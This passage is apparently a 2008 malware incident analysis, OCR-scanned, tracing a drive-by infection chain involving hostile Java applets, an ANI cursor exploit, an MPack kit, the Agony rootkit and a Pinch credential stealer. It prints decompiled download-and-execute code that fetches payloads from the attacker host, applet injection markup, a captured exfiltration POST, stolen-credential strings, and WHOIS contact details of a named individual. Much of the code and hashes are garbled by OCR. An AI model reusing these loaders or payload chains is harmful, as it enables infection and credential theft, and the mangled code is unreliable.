This was discovered March 28 2008. This addition will be elaborated on in section VIII.
(Note: All loads of Java Classes are relative to prolnx.info/ unless otherwise noted.)

At this point the attack forks into several similar vectors. The first utilizes an us1008.anr buffer
overflow, and the second utilizes the JavaScript function gpYrz ( ‘WhQeExgMF...snip..bQ==",null) .
These attacks are focused on delivering multiple payloads. These have been separated based on
primary function, which are:

1. Payload providing long term control and covert access of exploited targets.
o In this case, the payload installs the agony rootkit and sets up a covert channel on the
target.
2. Payload providing modular control and access to target.
o This payload provides dynamic extension of payloads through covert or obfuscated
channels. This payload is very concerning due to its modular nature it can be morphed
on the server side to any purpose, and remain the same on the target.

First the function gpyrz () will be discussed because it delivers both payloads where the us1008.anr
exploit only delivers payload 2. The function gpYrz() deobfucates the remainder of the webpage and
then issues a “GET /?id=1008&t=otherso=0 HTTP/1.1” and attemps to run the downloaded file
from the users Temporary Internet Files directory. If the user is running with administrator writes this
successfully installs the agony rootkit. (Further discussion on this file below)

The deobfucated webpage continues by loading animan.class which allows the malicious webpage to
extend the class Applet and updates the current webpage to this:

<applet archive=Java2SE.jar code=Java2SE.class width=1 height=1
MAYSCRIPT>
<param name=usid value=1008>
<param name=uu value=http://prolnx.info/>
<param name=tt value=other>
</applet>
<applet archive=dsbr.jar code=MagicApplet.class width=1 height=1
name=dsbr MAYSCRIPT>
<param name=ModulePath value=http://prolnx.info/?id=1008&t=other&o=2>
</applet>
The first Applet then loads Java2SE.jar and /com/ms/lang/RegKeyEXxception.class.
The second Applet then loads dsbr.jar and /com/ms/security/securityClassLoader.class.
All Java Classes that were downloaded from prolnx.info were intercepted and decompiled using jad
and deobfuscated using manual techniques and are included in the Appendex’s.
Both applets utilize several variables gathered from their applet param’s which possibly identify the
target. They are commonly used with web requests to http://prolnx.info/ and are of the following
format:
From Java2SE.class member of Java2SE.jar
Where s = getParameter ("usid"); s5 = getParameter ("uu"); s6 =
getParameter ("tt");

usid=1008 uu=http://prolnx.info/ tt=other
OPlog(s5 + "?2id=" + s + "&t=" + s6 + "&o=4");



http://prolnx.info/

http://prolnx.info/?id=1008&t=other&o=4

From Installer.class member of dsbr.jar
Where s = applet.getParameter ("ModulePath");
ModulePath=http://prolnx.info/?id=1008&t=other&o=2
URLDownloadToFile (0O, s, s2, 0, 0);
http://prolnx.info/?1d=1008&t=0ther&o=2

md5sum: adc6d03bc7ac04e2ddf9dea7ecee994f

Any webrequests of this format including the first download “GET /?id=1008&t=other&o=0
HTTP/1.1” receives a UPX packed binary with the above md5sum that delivers a payload of type 1
and installs the root kit agony. However delivering the same payload each Applet executes the method
uniquely. Presumably this is for persistence and a greater degree of overall success in infection.

The methods for delivering payloads are as follows:

From Java2SE:

First attempts to run as SYSTEM by detecting ActiveX control,

if (Class.forName ("com.ms.security.PolicyEngine") != null)
PolicyEngine.assertPermission (PermissionID.SYSTEM) ;

It then attempts to download and execute payload 2 and download payload 1.

as[0] = sl + "\\us" + s + ".ex" + "e";
try {
URL url = new URL(s5 + "gf" + s + ".jpg");
java.io.InputStream inputstream = url.openStream();
BufferedInputStream bufferedinputstream = new
BufferedInputStream (inputstream) ;
FileOutputStream fileoutputstream = new FileOutputStream(as[0]);

do {
int 1 = bufferedinputstream.read();
if (1 == -1)
break;

fileoutputstream.write (i) ;

} while (true);

fileoutputstream.close();

Process process = Runtime.getRuntime () .exec(as); € Executing
usl008.exe

OPlog(s5 + "?2id=" + s + "&t=" + s6 + "&o=4"); & Downloads payload
1

}

A Payload of type 2 will be downloaded from prolnx.info/gf1008.jpg and will be saved to either
System.getProperty(*'java.io.tmpdir™); or System.getProperty("user.nome"); or
System.getProperty(*“user.dir™); or finally s1 = "WWINDOWSW\Temp"; as us1008.exe. An analysis of
this exe is found in section ???

The download of payload 1 is saved to the browsers temporary directory but not executed.

From MagicApplet:

First it deobfuscates and loads URLClassLoader.class and NewObject.class.

for(int i = 0; i1 < URLClassLoader def.length; i++)


http://prolnx.info/?id=1008&t=other&o=4
http://prolnx.info/?id=1008&t=other&o=2

URLClassLoader def[i] = (byte) (URLClassLoader def[i] * 5);
for(int j = 0; j < NewObject def.length; Jj++)
NewObject def[j] = (byte) (NewObject def[j] " 6);

It then attempts to alter the ActiveX permissions for the applet to allow unrestricted access as
SYSTEM using ActiveX properties and finally download and executing payload 1.

public void setApplet (URL url, Applet applet) {
String s = applet.getParameter ("ModulePath");
if (s == null)
s = url.toString() + "msits.exe";
try {
PolicyEngine.assertPermission (PermissionID.SYSTEM) ;
try {
StringBuffer stringbuffer = new StringBuffer (256);
String sl = "abcdefghijklmnopgrstuvwxyz0123456789";
String s2 = "";
Kernel32.GetWindowsDirectory (stringbuffer, 256);
int 3 = 0;
double d;
do {
d = Math.random() ;
int 1 = (int)Math.round(d * 35D);
char ¢ = sl.charAt(i);
s2 = s2 + c;
} while(d !'= 0.0D && ++j < 8);
s2 = stringbuffer + "\\" + s2 + ".exe";

This piece randamizes the final exe name for payload 1. I’ve included several examples:

665bb8an.exe
hy5kxeT7b.exe
Omb5zidt5.exe

File file = new File(s2);
System.loadLibrary ("URLMON") ;
URLDownloadToFile (0, s, s2, 0, 0);
if(!file.exists ()) {
Kernel32.Sleep (2000) ;
URLDownloadToFile (0, s, s2, 0, 0); € Downloads payload 1
}
Runtime.getRuntime () .exec (s2); € Executes payload 1

}

The type 1 payload will be downloaded from prolnx.info/?id=1008&t=other&o=2 and saved to
C:\WINDOWS\system32\ with random name ie. 0Om5zidt5.exe and executed as SYSTEM.

The us1008.anr exploit is run from the following piece of 1c1008.html.

<style>
* {CURSOR: url ("anr/usl008.anr")}
</style>



The file anr/usl1008.anr is itself a paylod of type 2. (WIin32.Exploit.MS05-002.Anr)
www.prolnx.info/anr/us1008.anr has the file header rrzr....acovanin and contains the string
c:\anr1008.exe as well as urlmon.dll.

Using the same wget method the file swp.jpg was acquired. A hex editor shows that rather than the
expected JPG file format header we see instead:
MZ......... PE..L...FSG!

J File Edit View Select Bookmarks History Tools  ‘wWindow  Help
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A quick scan with PEID verifies that it is indeed a PE file packed with FSG. After unpacking and
disassembling the executable it is determined that the file appears to be a file grabber whose main
function is to perform the following action:

\Program Files\Internet Explorer\iexplore.exe http//gomyhit.com/MTkyNzg/2/5645/ax1l/edl/ex1//

This illustrates the modular nature of type 2 payloads, however this particular example starts another
set of iframe redirects it shows the basic premise behind such payloads.
Further analysis on gomyhit.com can be found in section VII.

VI. THE MPACK INSTALLATION AND OTHER UPDATEONLINE FILES

Further analysis of the www.updateonline.cc website was performed as well as analysis on the various
pieces of code stored there and several directories were located containing malicious code. Many of the
files are world readable over the web. The main subdirectory storing the malicious code is
www.updateonline.cc/winupdate and within this directory are three others; /newgate, mpack, and
mpackO.

All the known mpack files were wgetted from each of the two directories with somewhat differing
results. Several files existed but had 0 bytes of content and several expected files such as Settings.php
did not exist. Based on the stats these two particular mpack kits either have not been used or are for


http://www.prolnx.info/anr/us1008.anr
http://www.updateonline.cc/
http://www.updateonline.cc/winupdate

39e311c2c2540eef4c0600884cal6256 ./mpack/admin.php size 4
9952a8effc9ffl141524caadflc960d3b ../mpack/ani2.dat size 4
cee26152408b44fcedd6cb6d2910222d ./mpack/ani2.php size 4
cb343ef2471lecdlcefb9cb4aadbdlads ./mpack/anifile.php size 4
d41d8cd98f00b204e9800998ecfB8427e . /mpack/cryptor.php size O
d41d8cd98f00b204e9800998ecf8427e ../mpack/crypt.php size 0O
d41d8cd98£f00b204e9800998ecfB8427e ./mpack/ff.php size 0O
04ae32dbe28526220bd4063ed7a4a500 ./mpack/file.php size 116
d41d8cd98£f00b204e9800998ecfB8427e ./mpack/flush.php size 0O
d41d8cd98£00b204e9800998ecf8427e . /mpack/fout.php size 0O
103267785a7a9p3a4142428ba7d6da9%9 . /mpack/index.php size 4
c7f6d91fec41bad08£f58c8ccabd’cce6 ../mpack/logincheck.php size 4
24097421da20bbd4fcl49162b77db174 ./mpack/maketable.php size 4
d41d8cd98£00b204e9800998ecf8427e . /mpack/mdac4.php size 0O
8a2aebbcd0996b250b5e31a38e33df81 ../mpack/megapackl.php size 4
d41d8cd98£00b204e9800998ecf8427e ./mpack/ms06-044 w2k.php size 0O
f0e7268aeb0369%9abladfbe7leda2b5£f3 . /mpack/stats.php size 4
d41d8cd98£00b204e9800998ecf8427e . /mpack/urlworks.php size 0O
9d215d5224323e6de437e935e778e46a mpack9/admin.php size 4
9952a8effc9ff141524caadf1c960d3b mpack9/ani2.dat size 4
cee26152408b44fceddbcb6d2910222d mpack9/ani2.php size 4
ac9315898a5ee821b5ce3748¢c9cd9793 mpack9/anifile.php size 4
d41d8cd98£f00b204e9800998ecfB8427e mpack9/cryptor.php size 0O
d41d8cd98£f00b204e9800998ecfB8427e mpack9/crypt.php size O
d41d8cd98£f00b204e9800998ecfB8427e mpack9/ff.php size O
4d93e9c84e2£064£9696106809092d60 mpack9/file.php size 48
af07d54aa09790fe35dall76146fedcl mpack9/flush.php size 4
d41d8cd98£00b204e9800998ecfB8427e mpack9/fout.php size O
c869e906c335124379£5297b2806be68 mpack9/index.php size 32
lbec67cba0221ebd689b41bbda86b842 mpack9/ip Oday.txt size 4
369349af5cbb500adlbb5de0£f3913e8c mpack9/ip all.txt size 4
65402554cad43c0a8f143bal02del02d5af mpack9/Readme.txt size 4
f0e7268aeb0369abladf5e71led4a2b5f3 mpack9/stats.php size 4
d41d8cd98£00b204e9800998ecfB8427e mpack9/urlworks.php size O
d41d8cd98£f00b204e9800998ecf8427e mpack9/xml.php size O

testing or future use. Other installations may exist or the files may be spread across several different
websites to further complicate and obfuscate the setup.

There are only slight differences in the files of each different directory although it appears that the
mpack9 directory has seen more use and the two executables are substantially different. The source of
the mpack9/admin.php file is a typical mpack admin login page:

<style>

<l--

.stext { font-family:Tahoma; font-size:8pt; color:white; text-align:right; }

.heading { font-family:Arial; font-weight:400; font-size:18pt; color:rgb(255,153,0); letter-
spacing:90%; }

.tbldata { font-family:Tahoma; font-weight:bold; font-size:13; color:rgb(204,204,204); }
.tblhead { font-family:Verdana; font-weight:bold; font-size:9pt; color:white; }

.sstext { font-family:Tahoma; font-size:8pt; color:rgb(204,204,204); }

.csfa { font-family:Tahoma; font-weight:bold; font-size:13; color:rgb(386,816,970); }

.css0
-—>
</style>
<html><body bgcolor="black" text="white" link="blue" vlink="purple" alink="red"><table
border="0" width="100%"><tr height="100%" align="center" valign="middle"><td
width="100%"><p>&nbsp;</p><form name="forml" method="post"><p><input type="text"
name="1"><br><input type="password" name="p" size="20"><br><input type="submit" name="s"
value="Login">&nbsp;<br><br>Unauthorised access prohibited. All activity is being
monitored.</p></form></td></tr></table></body></html>

font-family:Tahoma; font-size:8pt; color:rgb(255,153,0); }



9 Mozilla Firefox ;lglﬂ

File Edit Mjew Go  Bookmarks  Tools  Help

<II:| T @ ‘{/;7 | i, updateonling . cofwinupdatempackdf admin, php j © 6o ||GL

’ Getting Started 5 Latest Headlines

TTnauth dac bited. All activity

Done
[t =

And the stats page is a typical mpack stats page:

¥IMozilla Firefox -0 x|
File Edit Wiew History  Bookmarks  Tools  Help

P .
B - | S Ld_: €M http:/www.updateonling, cofwinupdate/mpacks/stats,php | = | [ |G|' google kranslate

’ Getting Started |5 Latest Headlines

|| MHHHCTEPCTED JKOHOMHIEH TTPHAHEL, ., || D H{%)ME PAGE @i MopTan Asac,,, th http:/ /www.upd...ack9/stats.php L; -

Attacked hosts: {total funiq)

uniq referers

The ip_all.txt and ip_0Oday.txt only contained one IP address entry multiple times. These are log files
mpack uses to track visitors to its sites and exploited systems. It’s possible that this is the attackers
home DSL IP address being used while they tested their mpack installation:

78.155.196.69
n196-155-78-static-69.rsspnet.ru. (looks like a possible Russian DSL line?)

domain: RSSPNET.RU
nserver: ns2.rts.spb.ru.
nserver: ns.rts.spb.ru.



http://www.n196-155-78-static-69.rsspnet.ru/
http://www.rsspnet.ru/

person: Igor Sergeevich Diakonov
phone: +7 921 4212525
e-mail: igorsd@sysadmins.spb.ru

The network is owned by:

descr: RZT-Servis

country: RU

notify: rztncc@yahoo.com
address: Lomonosova sq. 1
address: 191011

address: SAINT-PETERSBURG
address: Russian Federation
phone: +78123142643

e-mail: rztncclsysadmins.spb.ru
address: 191011 Saint-Petersburg, Russia
changed: narr@rts.spb.ru 20070906

The mpack readme file is also available word readable over the web.
JOMozillaFirefox =l

File Edit Wiew Go  Bookmarks Tools Help

1 .
1 <::| = L:;> = |§I |_| @ I wivar, updateonlineg, cofwinupdate /mpacks (Readme, bxt| LI @ Go I@,

’ Getking Started L:v' Latest Headlines

-
MPack w0O.99 =

FoTaHOoOBRa:

1) CROOMPOBATE COOSPRERHMMOE Ha XOoT
2] WCoTAHOBHMTE Ha Oanory Opaia chmod (777)
3] OTpeEOaRTHMpOBATE HACTPOHRM CBASKM B Gailse settings.php

FhdminPath = "http:/ host.com/spkZ™;: //OyTE K HNaOKe C© VOTRHOBISHHOM SOMMHROM

A MOPKME M Oapod:k OAA OOCTYIAa K CTATHOTHREES

$UserMNsane="user "

SPassword="mpackz ":

3BlockDuplicates=1; A4 1 - BIORMpoOBAaTE NOBTOPDHEE SaxoIb

jCountReferers=1; /1 - BecTHM y¥deT pedepepoB [(OTRVIA OPHXOOMT Tpadd)

FMinRefs=5; //MHHMMaIBHOS HKOJIBO ODOABJISHMHA pedepeps w9ToBH OH oToBpaSHICA Ha CTPARSHKMIE OTRTHCTHRM

B DaHHYID BEDCHE BRIEMEHOD SO0MBILOS KOMMMESTEO WASBMMOCTERH Ha NEPeNONdHEHME, IO3ITOMY HSCTOATEIBRHO PEeRO
JMoaoep (MAM OPYDOH SarpyEacsMed $aiid] OoMXeH HaxXoOKTBRCA B Oa0Ke o VoTAaHOBJISHHONM CBASKON o MMeHen f£i

3.1) Ecmx By¥OeT HOONOABRSOBATECA HMy3I0L OAA DoOocdeTa CTRTHCOTHEM OO0 CTpaHSM, HAoTPOMTE M eD0o:

§UseMy3I0L = 0; // SameEMTeE Ha 1 ecld ByYISeT HOOONESOBASTECA

fdbhost = "localhost™; //XocT Ha ROTOPOM PAacOOMOKEH My CRYVIER

jdbuser = "spluser™:

Sjcdbpass = "splpass'T:

fcdbnsime = "spldh™: /SHMAa GaSH OSHEHEX

jdbstats = "stats":// A TafnMum B 3ToH Gase -
4| | >
| Done i

The two file.php file existing in the mpack and mpack9 subdirectories are both PE files rather than
php. They both show up as invalid when read by PEID but the headers when viewed in a hex editor are
valid. Neither of the files are detected by AV.

aabecaa5c06524d8f4b2cdca95f35a89 *mpack9 _file.php.exe 49108 bytes
2f44c17fddb94cbc4fc9e7cblfad583c *mpack _file.php.exe 115947 bytes



Many tools such as peinfo, lordpe, IDA, and fail at analyzing the files and report that they are not valid
PE files. The unix file command reports “MS-DOS executable PE for MS Windows (GUI) Intel 80386
32-bit ““ and in a hex editor they show the normal dos file executable header:

cannot be run in DOS mode.

..... @ et ettt e e e e e et e et . L. IThis program

When the program is executed, it runs under ntvdm.exe. Ollydbg states that it is probably not an
executable. Executing it from a dos window gives the error “This program cannot be run in DOS
mode”. It is possible the executables are corrupted, or packed with some extreme custom packer.
However when the files are executed under Microsoft Debugging Tools logger many API calls are
made. Several of these calls coincide with ntvdm.exe calls, however running ntvdm.exe by itself does
not log any api calls. There are many calls to GetProcAddress which intern reference functions for

accessing audio devices.

Two temp files are created in c:\windows\temp\scs*.tmp where * is 2 digits. These files contain
autoexec.bat and config.sys content which does not match the original content on the victim machine,
but which adds entries for sound blaster compatibility. It is possible that these files are doing nothing
and what is being seen is residual effects from ntvdm attempting to execute the files, but it is also
possible these files are trying to access audio devices in order to record and ex-filtrate audio data from

the target.
= Log Yiewer 2.09 (C:\Documents and Settings',root',Desktop’LogExts_mpack’ntvdm.exe.lgy) — |E||i|
File Search WYiew Help
- | # | 7. | Caller | Madule |_Time Elapsedim:.. | Call Duratio... | APl Function | Return value -
+ o0 128 1 OF0097 28 ritvdm.exe 000, o0 037 g Sleep
+ o0 129 2 OFM2010 ntvdm.exe 00000037 ar SetThrescPriorty Fet = TRUE
dl 130 1 OF0172ER ntvdm.exe 000 00037 2 GetCurrentThreadid Fet = Du00000s9c
- dd 131 1 OF009009 ntvdm.exe 000: 00037 21 RegOpenKeyExA Fet = ERROR_SUCCESS
hiey = HKEY _LOCAL _MWACHMNE phkRezul = 0x0203FC2C
[pSubkey = "SYSTEMVC urrentContralSetyontroltvintualDeviceDrivers" *phkResulf = 0x0000003C
ulCptions = 000000000
zambesired = KEY _QUERY _VALUE
phkResult = 0x0205FC2C
*phkRezult = 0x00000000
+ 00 132 1 OF009DS0 ritvdm exe 0o0: 00037 136 RegCueryinfoliey s Fet = ERROR_SUCCESS
+ ol 133 1 OFO0BCT2 ntvdm.exe 000: 00058 3 HeapAloc Fet = 002FEDAZD
+ ol 134 1 OF009DEE ntvm.exe 000: 00055 12347 RegCueryvalueExs Fet = ERROR_SUCCESS
+ ol 135 1 OFO090FS ntvdm.exe 000: 00:0:50 12 RegClozekey Fet = ERROR_SUCCESS
+ o0 136 1 OF00S700 ritvdm exe 000; a0:0:50 3 HeapFree Fet = TRUE
+ o0 137 1 OF030 OF ritvdm exe 000; 00051 3025 LoadLibrary & Fet = 0x7EB40000
+ o0 138 1 OFD3CMFD ntvdmeexe 000: 00092 4 GetProcAddress Fet = 0xTEBSBATT
+ ol 139 1 OF03020F ntvdmexe 000: 00092 3 GetProcAddress Fet = 0xTEBSBIES
+ o0 140 1 OF03D221 ntvdm.exe 000 00093 3 GetProcAddres s Fet = 0x7EB46260
+ ol 141 1 OF030233 ntvdm.exe 000: 00093 3 GetProcAddress Fet = 0FEBSBETBEC
+ ol 142 1 OF030245 ntvm.exe 000: 00093 3 GetProcaddress Fet = 0x7EB45211
+ ol 143 1 OF030257 ntvm.exe 000: 00093 3 GetProcaddress Fet = 0x7EBSBERAF
- ol 144 1 OF03D269 ntvdm.exe 000:00:093 3 GetProcAddress Fet = 0xFEBSBBED
hitdodule = 0x7EB40000
IpProchlame = "waveOutRestart"
- ol 145 1 OF03027B ntvdmexe 000: 00094 3 GetProcAddress Ret = 0x7EBSBCZE
hitdodule = Ox7EB40000
IpProcilame = "waveOutReset"
- ol 146 1 OF 030280 ntvdm.exe 0o0: 00094 3 GetProcAddress Fet = 0x7EB45T36
hivlodule = Ox7EB40000
IpFrochlame = "waveOutClose"
-l 147 1 OF03C2aF ntvdm.exe 000: 00094 3 GetProcAddress Fet = 0xTEB3BCES
hidodule = 0x7EB40000
lpProcilame = "waveOutGetPosition”
- oo 148 1 OF0Z02B1 ntvdm.exe Q00: 00:094 a3 GetProcAddress Fet = DxFER4SASL,

hivlodule = Ox7EB40000
IpProcilame = "waveOutivyite"



Looking at the strings one can see these files appear to be Microsoft Calc.

0001B879 0001B879 0 calc.hlp

0001BDE1 0001BDE1 0 CompanyName

0001BDFB 0001BDFB 0 Microsoft Corporation

0001BE2D 0001BE2D 0 FileDescription

0001BEGE 0001BEGE 0 Windows

0001BE85 0001BE85 0 FileVersion

0001BE9F 0001BE9F 0 5.2.3790.0 (srv03 rtm.030324-2048)
0001BF99 0001BF99 0 OriginalFilename

0001BFBB 0001BFBB 0 CALC.EXE

However the files are most definitely not Calc. Its possible that something has been bound to Calc, or
that the Calc file has been packed / corrupted by a very strange packer process. When running it in
OllyDbg, we loop, hit an SEH, loop, hit an SEH, etc. until execution proceeds normally. This can be
indicative of an advanced staged unpacker which uses exceptions to jump to the next unpacking stage.
Or it’s simply a broken file.

Of further interest is the fact that the files contain the following string:

0001C395 0001C395 0
PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADD
INGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD
DINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPA
DDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD

The presence of this string indicates that the resource section of the binaries has been modified. When
certain resources are modified padding often has to be added to realign sections and ensure execution.
In this case things like the company, file name and other identifiable information have been purposely
modified to make the file appear to be the benign calc during a basic strings analysis.

Further analysis of the mpack delivered binaries yielded some interesting information. It appears that
they change the files from time to time. One of the versions was partially unpacked and executed and
further analysis was performed. The file makes a POST and based on the traffic looks to be yet another
Pinch variant.

POST /winupdate/newgate/gate.php HTTP/1.0

Host: www.updateonline.cc

Content-Type: application/x-www-form-urlencoded

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;
InfoPath.2; .NET CLR 2.0.50727; InfoPath.1l)

Content-Length: 5324

a=roots982@mail.ru333&b=Pinch report&d=report.bin&c=UDNNTAAAAACRDQAAEQAAAAAA

AAATAAAAHWYgLSqoOVLUSAAAAAAAAABAAAADYBWMABAADAAUA

GAA1AA4AEWAAAAAAAACKAAAAPAAAAAMAAAAINTIZNCO2ZNDItNDYOMzYOMSOyMzASMAAUAAAA
SNIP

AAAABAAAAFAZTUW]AAAABAAAAFAZTUZ/////AAAAAA==

HTTP/1.1 200 OK

Date: Thu, 27 Mar 2008 13:24:36 GMT

Server: Apache/2.0.52 (CentOS)

Content-Length: 23

Keep-Alive: timeout=5, max=100


http://www.updateonline.cc/

Connection: Keep-Alive
Content-Type: text/html
<title>ret ok</title>

The path www.updateonline.cc/winupdate/newgate/gate.php gives us some hints about the malicious
sites directory structure. Other strings were found which give us even more hints:

<iframe src="http://updateonline.cc/winupdate/stats/" width="0" height="0"></iframe>
<iframe src="http://updateonline.cc/winupdate/ice/index.php" width="0" height="0"></iframe>
<iframe src="http://updateonline.cc/winupdate/mpack9/index.php" width="0" height="0"></iframe

The encoded / snipped data turns out to be a modified base64 encoded chunk of data about the infected
system, in traditional Pinch Trojan style. A partial decode is provided here where you can see things
like installed software, running processes, hostname, location/language, host type, etc.

P3ML

SH#fd-oh#—4####41-2#44#0

IDA Pro Advanced v5.2 with WinCE v5.2 debugger
IDACompare v0.1

Malcode Analyst Pack v0.2

Mozilla Firefox (2.0.0.3)

Windows XP Service Pack 2
20040803.231319

WinPcap 3.1

3.1.0.27

Debugging Tools for Windows
6.6.3.5

Service Pack 2

root

\Microsoft\W

GenuinelIntel

marborg

United States

English
\SystemRoot\System32\smss.exe
\??2\C:\WINDOWS\system32\csrss.exe
\??2\C:\WINDOWS\system32\winlogon.exe
:\WINDOWS\system32\services.exe
:\WINDOWS\system32\1lsass.exe
:\WINDOWS\system32\svchost.exe
:\WINDOWS\system32\spoolsv.exe
:\WINDOWS\Explorer.EXE

Q

ONONON!

The decoding was done by putting the raw data into a file on a linux box called POST.enc with the
formatting:

begin-base64 644 POST.enc
YmFzZXRBZYD1c3QK
snip .

And running the command: uudecode post.enc cleartext.txt. The binary was partially unpacked and the
following strings were found which further confirm the maliciousness of the binary:


http://www.updateonline.cc/winupdate/newgate/gate.php
../Local%20Settings/Local%20Settings/Application%20Data/Microsoft/Word/updateonline.cc/winupdate/stats/
../Local%20Settings/Local%20Settings/Application%20Data/Microsoft/Word/updateonline.cc/winupdate/ice/index.php
../Local%20Settings/Local%20Settings/Application%20Data/Microsoft/Word/updateonline.cc/winupdate/mpack9/index.php

POP3 Password

POP3 Password?2

POP3 Server

POP3 User Name

IMAP Password

IMAP Password?2

IMAP Server

IMAP User Name

INETCOMM Server Passwords

Outlook Account Manager Passwords
Software\Microsoft\Internet Account Manager\Accounts
POST /winupdate/newgate/gate.php HTTP/1.0
UserAgent Mozilla/4.0 compatible MSIE 6.0 Windows NT 5.1 SV1 InfoPath.2 .NET
CLR 2.0.50727 InfoPath.1l

\Rapidsharel.txt

\Megauploadl.txt

\Depositfilesl.txt

\USDownloader.lst

USDownloader.exe

NSSBaset4 DecodeBuffer

Software\Mail .Ru\Agent\mra_ logins
\Microsoft\Network\Connections\pbk\rasphone.pbk

Some debugging was performed to see even more clearly what this malicious binaries purpose and

functionality are.
0006FF78 13141A9F /CALL to gethostbyname from 13141A9A
0006FF7C 1314854D \Name = "ya.ru"

0006FF80 13177163 ASCII "report.bin"

0006FF4C 100890020 ASCII "POST /winupdate/newgate/gate.php
HTTP/1.0\r\nHost: www.updateonline.cc\r\nContent-Type: application/x-www-
form-urlencoded\r\nConnection: Keep-Alive\r\nPragma: no-cache\r\nUser-Agent:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1"...

All the POST to gate.php returns is <title>ret_ok</title> so this POST probably just a logging
mechanism.

There are several other notable pieces of information regarding this attack. Extensive PCAP files were
gathered while analyzing the attack and the sites were searched using google search terms such as site:,
link:, inurl: etc. During the course of analyzing the websites and the PCAPS several other things were
found.

A HTTP post was found in the pcaps which indicate different pieces of the attack on different domains
may be down now:



{@ Follow TCP stream ;Iglil

rStream Cankent

SET Jinst/Andex. php?id=002 HTTR/1.1 =
Host: bid-assist.or

User-agent: Mozillass.0 (windows; U; windows NT 5.1; en-uUs; rw:l.8.1.30 Gecko /20070309
Firefox 2.0.0.3

inccept: texty xml,applicationsxml, application/<html+xml, text /html; g=0.9, text,

plain; g=0. 8, imagepng, *%; g=0. 5

hCccept-Language: en-us, en; g=0. 3

inccept-Encoding: gzip, deflate

inccept—Charset: IS0-885%-1,utf-8;0=0.7,%;q=0.7

kKeep-alive: 300

“onnection: keep-aliwve

referer: http:/ /fupdateonline.cc/progframe. php?dopl=l

HTTP/1.1 404 Mot Found

Date: Sat, 15 mMar 2008 00:;18:2% GMT

server: apache/s2

“ontent-Length: 397

kKeep-alive: timeout=1l, max=100

“onnection: kKeep-Aliwve

“ontent-Type: text html; charset=iso-885%9-1

< | DOCTYPE HTML FUBLIC "-/ IETF//DTD HTML 2.0/ /EM">

<htm] ><head:>

<ttt lexd04 Not Found</titTles

< /head><hody>

<hl=Mot Found<hls

<p>The requested URL Sinstindex.php was not found on this server. </ p-
<prAdditionally, a 404 Mot Found

e;rur was encountered while trying to use an Errorbocument to handle the request. </ p>
<hr >

01C-as551st.0rg Port S0</addresss o

]

Save &sl Erintl Entire conversation (1081 bytes) I hd |ﬁ' ASCIT O EBCDIC © HexDump € C Arrays (. Faw

Filker out this skream | Close I




VII. GOMYHIT AND TRUSTEDANTIVIRUS AND OTHERS APPEAR

After a few days gomyhit.com came up. A wget to http://gomyhit.com/MTkyNzg/2/5645/ax1/ed1/ex1/
actually yields an error website:

wget --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322;
.NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)"
gomyhit.com/MTkyNzg/2/5645/ax1l/edl/ex1/
--09:36:34-- http://gomyhit.com/MTkyNzg/2/5645/ax1l/edl/ex1/

=> “index.html'
cat index.html
1 Incorrect link or link has't activated yet. Please wait 2 minutes.

But a wget to http://gomyhit.com/MTkyNzg/2/5645/ax1/ed1/ex1// (note the extra / at the end) yields a
302 redirect to a page with considerable content:

wget --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322;
.NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)"
http://gomyhit.com/MTkyNzg/2/5645/ax1l/edl/ex1//
--09:37:37-- http://gomyhit.com/MTkyNzg/2/5645/axl/edl/exl//

=> “index.html.1l’
Resolving gomyhit.com... 204.16.204.56
Connecting to gomyhit.com|204.16.204.56]:80... connected.
HTTP request sent, awaiting response... 302 Found
Location:
http://intervarioclick.com/?mtrt=avds22&gai=swp gav&gli=5645&gff=pp 1914220742&eu=http%3A%2F%2F
advancedcleaner.com%2F.cleaner%2Findex.php%3Ftmn%3Dadctmp%26clone name$3Dswpadcex%261ed%3D5645%
26afr$3Dpp 1914220742&axl=&edl=&exl= [following]
--09:37:38--
http://intervarioclick.com/?mtrt=avds22&gai=swp gav&gli=5645&gff=pp 1914220742&eu=http%$3A%2F%2F
advancedcleaner.com%2F.cleaner%2Findex.php$3Ftmn%3Dadctmp%26clone name$3Dswpadcex%261ed%3D5645%
26afr$3Dpp 1914220742&axl=&edl=&exl=

=>
‘index.html?mtrt=avds22&gai=swp_gav&gli=5645&gff=pp 1914220742&eu=http:%2F%2Fadvancedcleaner.co
m%2F.cleaners2Findex.php?tmn=adctmp&clone name=swpadcex&led=5645&afr=pp 1914220742&ax1l=6edl=&ex

1="

Resolving intervarioclick.com... 76.74.249.30

Connecting to intervarioclick.com|76.74.249.30]:80... connected.
HTTP request sent, awaiting response... 302 Found

Cookie coming from intervarioclick.com attempted to set domain to adnetserver.com
Cookie coming from intervarioclick.com attempted to set domain to adnetserver.com
Location:
http://trustedantivirus.com/data/?mtrt=avds22&gai=swp gav&gli=5645&gff=pp 1914220742&eu=http%3A
$2F%2Fadvancedcleaner.com$2F.cleaner%2Findex.php%3Ftmn%3Dadctmp%26clone name%3Dswpadcex$26leds3
D5645%26afr$3Dpp 1914220742&axl=&edl=&exl=amtrt=null&470b55045l&mt info=3923 0 1138
[following]
--09:37:38--
http://trustedantivirus.com/data/?mtrt=avds22&gai=swp gav&gli=5645&gff=pp 1914220742&eu=http%3A
$2F%2Fadvancedcleaner.com$2F.cleaner%2Findex.php%3Ftmn%3Dadctmp%26clone name%3Dswpadcex$%26leds3
D5645%26afr$3Dpp 1914220742&axl=sedl=gexl=amtrt=null&470b55045l&mt info=3923 0 1138

=>
“index.html?mtrt=avds22&gai=swp_gav&gli=5645&gff=pp 1914220742&eu=http:%2F%2Fadvancedcleaner.co
